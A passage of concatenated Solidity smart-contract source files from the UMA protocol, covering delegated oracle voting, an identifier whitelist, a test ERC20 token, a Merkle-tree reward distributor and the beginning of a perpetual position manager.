bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingAncillaryInterface.PendingRequestAncillary[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "./Constants.sol";
/**
* @title Proxy to allow voting from another address.
* @dev Allows a UMA token holder to designate another address to vote on their behalf.
* Each voter must deploy their own instance of this contract.
*/
contract DesignatedVoting is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the Voter role. Is also permanently permissioned as the minter role.
Voter // Can vote through this contract.
}
// Reference to the UMA Finder contract, allowing Voting upgrades to be performed
// without requiring any calls to this contract.
FinderInterface private finder;
/**
* @notice Construct the DesignatedVoting contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param ownerAddress address of the owner of the DesignatedVoting contract.
* @param voterAddress address to which the owner has delegated their voting power.
*/
constructor(
address finderAddress,
address ownerAddress,
address voterAddress
) public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress);
_createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress);
_setWithdrawRole(uint256(Roles.Owner));
finder = FinderInterface(finderAddress);
}
/****************************************
* VOTING AND REWARD FUNCTIONALITY *
****************************************/
/**
* @notice Forwards a commit to Voting.
* @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param hash the keccak256 hash of the price you want to vote for and a random integer salt value.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().commitVote(identifier, time, ancillaryData, hash);
}
/**
* @notice Forwards a batch commit to Voting.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(VotingAncillaryInterface.CommitmentAncillary[] calldata commits)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchCommit(commits);
}
/**
* @notice Forwards a reveal to Voting.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price used along with the `salt` to produce the `hash` during the commit phase.
* @param salt used along with the `price` to produce the `hash` during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().revealVote(identifier, time, price, ancillaryData, salt);
}
/**
* @notice Forwards a batch reveal to Voting.
* @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(VotingAncillaryInterface.RevealAncillary[] calldata reveals)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchReveal(reveals);
}
/**
* @notice Forwards a reward retrieval to Voting.
* @dev Rewards are added to the tokens already held by this contract.
* @param roundId defines the round from which voting rewards will be retrieved from.
* @param toRetrieve an array of PendingRequests which rewards are retrieved from.
* @return amount of rewards that the user should receive.
*/
function retrieveRewards(uint256 roundId, VotingAncillaryInterface.PendingRequestAncillary[] memory toRetrieve)
public
onlyRoleHolder(uint256(Roles.Voter))
returns (FixedPoint.Unsigned memory)
{
return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve);
}
function _getVotingAddress() private view returns (VotingAncillaryInterface) {
return VotingAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Withdrawable.sol";
import "./DesignatedVoting.sol";
/**
* @title Factory to deploy new instances of DesignatedVoting and look up previously deployed instances.
* @dev Allows off-chain infrastructure to look up a hot wallet's deployed DesignatedVoting contract.
*/
contract DesignatedVotingFactory is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract.
}
address private finder;
mapping(address => DesignatedVoting) public designatedVotingContracts;
/**
* @notice Construct the DesignatedVotingFactory contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
*/
constructor(address finderAddress) public {
finder = finderAddress;
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender);
}
/**
* @notice Deploys a new `DesignatedVoting` contract.
* @param ownerAddress defines who will own the deployed instance of the designatedVoting contract.
* @return designatedVoting a new DesignatedVoting contract.
*/
function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) {
DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender);
designatedVotingContracts[msg.sender] = designatedVoting;
return designatedVoting;
}
/**
* @notice Associates a `DesignatedVoting` instance with `msg.sender`.
* @param designatedVotingAddress address to designate voting to.
* @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter`
* address and wants that reflected here.
*/
function setDesignatedVoting(address designatedVotingAddress) external {
designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Withdrawable.sol";
// WithdrawableTest is derived from the abstract contract Withdrawable for testing purposes.
contract WithdrawableTest is Withdrawable {
enum Roles { Governance, Withdraw }
// solhint-disable-next-line no-empty-blocks
constructor() public {
_createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender);
_createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender);
}
function pay() external payable {
require(msg.value > 0);
}
function setInternalWithdrawRole(uint256 setRoleId) public {
_setWithdrawRole(setRoleId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* @title An implementation of ERC20 with the same interface as the Compound project's testnet tokens (mainly DAI)
* @dev This contract can be deployed or the interface can be used to communicate with Compound's ERC20 tokens. Note:
* this token should never be used to store real value since it allows permissionless minting.
*/
contract TestnetERC20 is ERC20 {
/**
* @notice Constructs the TestnetERC20.
* @param _name The name which describes the new token.
* @param _symbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _decimals The number of decimals to define token precision.
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
}
// Sample token information.
/**
* @notice Mints value tokens to the owner address.
* @param ownerAddress the address to mint to.
* @param value the amount of tokens to mint.
*/
function allocateTo(address ownerAddress, uint256 value) external {
_mint(ownerAddress, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/IdentifierWhitelistInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Stores a whitelist of supported identifiers that the oracle can provide prices for.
*/
contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
mapping(bytes32 => bool) private supportedIdentifiers;
/****************************************
* EVENTS *
****************************************/
event SupportedIdentifierAdded(bytes32 indexed identifier);
event SupportedIdentifierRemoved(bytes32 indexed identifier);
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (!supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = true;
emit SupportedIdentifierAdded(identifier);
}
}
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = false;
emit SupportedIdentifierRemoved(identifier);
}
}
/****************************************
* WHITELIST GETTERS FUNCTIONS *
****************************************/
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view override returns (bool) {
return supportedIdentifiers[identifier];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/AdministrateeInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Admin for financial contracts in the UMA system.
* @dev Allows appropriately permissioned admin roles to interact with financial contracts.
*/
contract FinancialContractsAdmin is Ownable {
/**
* @notice Calls emergency shutdown on the provided financial contract.
* @param financialContract address of the FinancialContract to be shut down.
*/
function callEmergencyShutdown(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.emergencyShutdown();
}
/**
* @notice Calls remargin on the provided financial contract.
* @param financialContract address of the FinancialContract to be remargined.
*/
function callRemargin(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.remargin();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../interfaces/AdministrateeInterface.sol";
// A mock implementation of AdministrateeInterface, taking the place of a financial contract.
contract MockAdministratee is AdministrateeInterface {
uint256 public timesRemargined;
uint256 public timesEmergencyShutdown;
function remargin() external override {
timesRemargined++;
}
function emergencyShutdown() external override {
timesEmergencyShutdown++;
}
function pfc() external view override returns (FixedPoint.Unsigned memory) {
return FixedPoint.fromUnscaledUint(0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* Inspired by:
* - https://github.com/pie-dao/vested-token-migration-app
* - https://github.com/Uniswap/merkle-distributor
* - https://github.com/balancer-labs/erc20-redeemable
*
* @title MerkleDistributor contract.
* @notice Allows an owner to distribute any reward ERC20 to claimants according to Merkle roots. The owner can specify
* multiple Merkle roots distributions with customized reward currencies.
* @dev The Merkle trees are not validated in any way, so the system assumes the contract owner behaves honestly.
*/
contract MerkleDistributor is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// A Window maps a Merkle root to a reward token address.
struct Window {
// Merkle root describing the distribution.
bytes32 merkleRoot;
// Currency in which reward is processed.
IERC20 rewardToken;
// IPFS hash of the merkle tree. Can be used to independently fetch recipient proofs and tree. Note that the canonical
// data type for storing an IPFS hash is a multihash which is the concatenation of <varint hash function code>
// <varint digest size in bytes><hash function output>. We opted to store this in a string type to make it easier
// for users to query the ipfs data without needing to reconstruct the multihash. to view the IPFS data simply
// go to https://cloudflare-ipfs.com/ipfs/<IPFS-HASH>.
string ipfsHash;
}
// Represents an account's claim for `amount` within the Merkle root located at the `windowIndex`.
struct Claim {
uint256 windowIndex;
uint256 amount;
uint256 accountIndex; // Used only for bitmap. Assumed to be unique for each claim.
address account;
bytes32[] merkleProof;
}
// Windows are mapped to arbitrary indices.
mapping(uint256 => Window) public merkleWindows;
// Index of next created Merkle root.
uint256 public nextCreatedIndex;
// Track which accounts have claimed for each window index.
// Note: uses a packed array of bools for gas optimization on tracking certain claims. Copied from Uniswap's contract.
mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap;
/****************************************
* EVENTS
****************************************/
event Claimed(
address indexed caller,
uint256 windowIndex,
address indexed account,
uint256 accountIndex,
uint256 amount,
address indexed rewardToken
);
event CreatedWindow(
uint256 indexed windowIndex,
uint256 rewardsDeposited,
address indexed rewardToken,
address owner
);
event WithdrawRewards(address indexed owner, uint256 amount, address indexed currency);
event DeleteWindow(uint256 indexed windowIndex, address owner);
/****************************
* ADMIN FUNCTIONS
****************************/
/**
* @notice Set merkle root for the next available window index and seed allocations.
* @notice Callable only by owner of this contract. Caller must have approved this contract to transfer
* `rewardsToDeposit` amount of `rewardToken` or this call will fail. Importantly, we assume that the
* owner of this contract correctly chooses an amount `rewardsToDeposit` that is sufficient to cover all
* claims within the `merkleRoot`. Otherwise, a race condition can be created. This situation can occur
* because we do not segregate reward balances by window, for code simplicity purposes.
* (If `rewardsToDeposit` is purposefully insufficient to payout all claims, then the admin must
* subsequently transfer in rewards or the following situation can occur).
* Example race situation:
* - Window 1 Tree: Owner sets `rewardsToDeposit=100` and insert proofs that give claimant A 50 tokens and
* claimant B 51 tokens. The owner has made an error by not setting the `rewardsToDeposit` correctly to 101.
* - Window 2 Tree: Owner sets `rewardsToDeposit=1` and insert proofs that give claimant A 1 token. The owner
* correctly set `rewardsToDeposit` this time.
* - At this point contract owns 100 + 1 = 101 tokens. Now, imagine the following sequence:
* (1) Claimant A claims 50 tokens for Window 1, contract now has 101 - 50 = 51 tokens.
* (2) Claimant B claims 51 tokens for Window 1, contract now has 51 - 51 = 0 tokens.
* (3) Claimant A tries to claim 1 token for Window 2 but fails because contract has 0 tokens.
* - In summary, the contract owner created a race for step(2) and step(3) in which the first claim would
* succeed and the second claim would fail, even though both claimants would expect their claims to succeed.
* @param rewardsToDeposit amount of rewards to deposit to seed this allocation.
* @param rewardToken ERC20 reward token.
* @param merkleRoot merkle root describing allocation.
* @param ipfsHash hash of IPFS object, conveniently stored for clients
*/
function setWindow(
uint256 rewardsToDeposit,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) external onlyOwner {
uint256 indexToSet = nextCreatedIndex;
nextCreatedIndex = indexToSet.add(1);
_setWindow(indexToSet, rewardsToDeposit, rewardToken, merkleRoot, ipfsHash);
}
/**
* @notice Delete merkle root at window index.
* @dev Callable only by owner. Likely to be followed by a withdrawRewards call to clear contract state.
* @param windowIndex merkle root index to delete.
*/
function deleteWindow(uint256 windowIndex) external onlyOwner {
delete merkleWindows[windowIndex];
emit DeleteWindow(windowIndex, msg.sender);
}
/**
* @notice Emergency method that transfers rewards out of the contract if the contract was configured improperly.
* @dev Callable only by owner.
* @param rewardCurrency rewards to withdraw from contract.
* @param amount amount of rewards to withdraw.
*/
function withdrawRewards(address rewardCurrency, uint256 amount) external onlyOwner {
IERC20(rewardCurrency).safeTransfer(msg.sender, amount);
emit WithdrawRewards(msg.sender, amount, rewardCurrency);
}
/****************************
* NON-ADMIN FUNCTIONS
****************************/
/**
* @notice Batch claims to reduce gas versus individual submitting all claims. Method will fail
* if any individual claims within the batch would fail.
* @dev Optimistically tries to batch together consecutive claims for the same account and same
* reward token to reduce gas. Therefore, the most gas-cost-optimal way to use this method
* is to pass in an array of claims sorted by account and reward currency.
* @param claims array of claims to claim.
*/
function claimMulti(Claim[] memory claims) external {
uint256 batchedAmount = 0;
uint256 claimCount = claims.length;
for (uint256 i = 0; i < claimCount; i++) {
Claim memory _claim = claims[i];
_verifyAndMarkClaimed(_claim);
batchedAmount = batchedAmount.add(_claim.amount);
// If the next claim is NOT the same account or the same token (or this claim is the last one),
// then disburse the `batchedAmount` to the current claim's account for the current claim's reward token.
uint256 nextI = i + 1;
address currentRewardToken = address(merkleWindows[_claim.windowIndex].rewardToken);
if (
nextI == claimCount ||
// This claim is last claim.
claims[nextI].account != _claim.account ||
// Next claim account is different than current one.
address(merkleWindows[claims[nextI].windowIndex].rewardToken) != currentRewardToken
// Next claim reward token is different than current one.
) {
IERC20(currentRewardToken).safeTransfer(_claim.account, batchedAmount);
batchedAmount = 0;
}
}
}
/**
* @notice Claim amount of reward tokens for account, as described by Claim input object.
* @dev If the `_claim`'s `amount`, `accountIndex`, and `account` do not exactly match the
* values stored in the merkle root for the `_claim`'s `windowIndex` this method
* will revert.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
*/
function claim(Claim memory _claim) public {
_verifyAndMarkClaimed(_claim);
merkleWindows[_claim.windowIndex].rewardToken.safeTransfer(_claim.account, _claim.amount);
}
/**
* @notice Returns True if the claim for `accountIndex` has already been completed for the Merkle root at
* `windowIndex`.
* @dev This method will only work as intended if all `accountIndex`'s are unique for a given `windowIndex`.
* The onus is on the Owner of this contract to submit only valid Merkle roots.
* @param windowIndex merkle root to check.
* @param accountIndex account index to check within window index.
* @return True if claim has been executed already, False otherwise.
*/
function isClaimed(uint256 windowIndex, uint256 accountIndex) public view returns (bool) {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
uint256 claimedWord = claimedBitMap[windowIndex][claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
/**
* @notice Returns True if leaf described by {account, amount, accountIndex} is stored in Merkle root at given
* window index.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
* @return valid True if leaf exists.
*/
function verifyClaim(Claim memory _claim) public view returns (bool valid) {
bytes32 leaf = keccak256(abi.encodePacked(_claim.account, _claim.amount, _claim.accountIndex));
return MerkleProof.verify(_claim.merkleProof, merkleWindows[_claim.windowIndex].merkleRoot, leaf);
}
/****************************
* PRIVATE FUNCTIONS
****************************/
// Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`.
function _setClaimed(uint256 windowIndex, uint256 accountIndex) private {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
claimedBitMap[windowIndex][claimedWordIndex] =
claimedBitMap[windowIndex][claimedWordIndex] |
(1 << claimedBitIndex);
}
// Store new Merkle root at `windowindex`. Pull `rewardsDeposited` from caller to seed distribution for this root.
function _setWindow(
uint256 windowIndex,
uint256 rewardsDeposited,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) private {
Window storage window = merkleWindows[windowIndex];
window.merkleRoot = merkleRoot;
window.rewardToken = IERC20(rewardToken);
window.ipfsHash = ipfsHash;
emit CreatedWindow(windowIndex, rewardsDeposited, rewardToken, msg.sender);
window.rewardToken.safeTransferFrom(msg.sender, address(this), rewardsDeposited);
}
// Verify claim is valid and mark it as completed in this contract.
function _verifyAndMarkClaimed(Claim memory _claim) private {
// Check claimed proof against merkle window at given index.
require(verifyClaim(_claim), "Incorrect merkle proof");
// Check the account has not yet claimed for this window.
require(!isClaimed(_claim.windowIndex, _claim.accountIndex), "Account has already claimed for this window");
// Proof is correct and claim has not occurred yet, mark claimed complete.
_setClaimed(_claim.windowIndex, _claim.accountIndex);
emit Claimed(
msg.sender,
_claim.windowIndex,
_claim.account,
_claim.accountIndex,
_claim.amount,
address(merkleWindows[_claim.windowIndex].rewardToken)
);
}
}
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FundingRateApplier.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PerpetualPositionManager is FundingRateApplier {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// Expiry price pulled from the DVM in the case of an emergency shutdown.
FixedPoint.Unsigned public emergencyShutdownPrice;
/****************************************
* EVENTS *
****************************************/
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event EmergencyShutdown(address indexed caller, uint256 shutdownTimestamp);
event SettleEmergencyShutdown(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PerpetualPositionManager.
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _fundingRateIdentifier Unique identifier for DVM price feed ticker for child financial contract.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 for production.
*/
constructor(
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
bytes32 _fundingRateIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
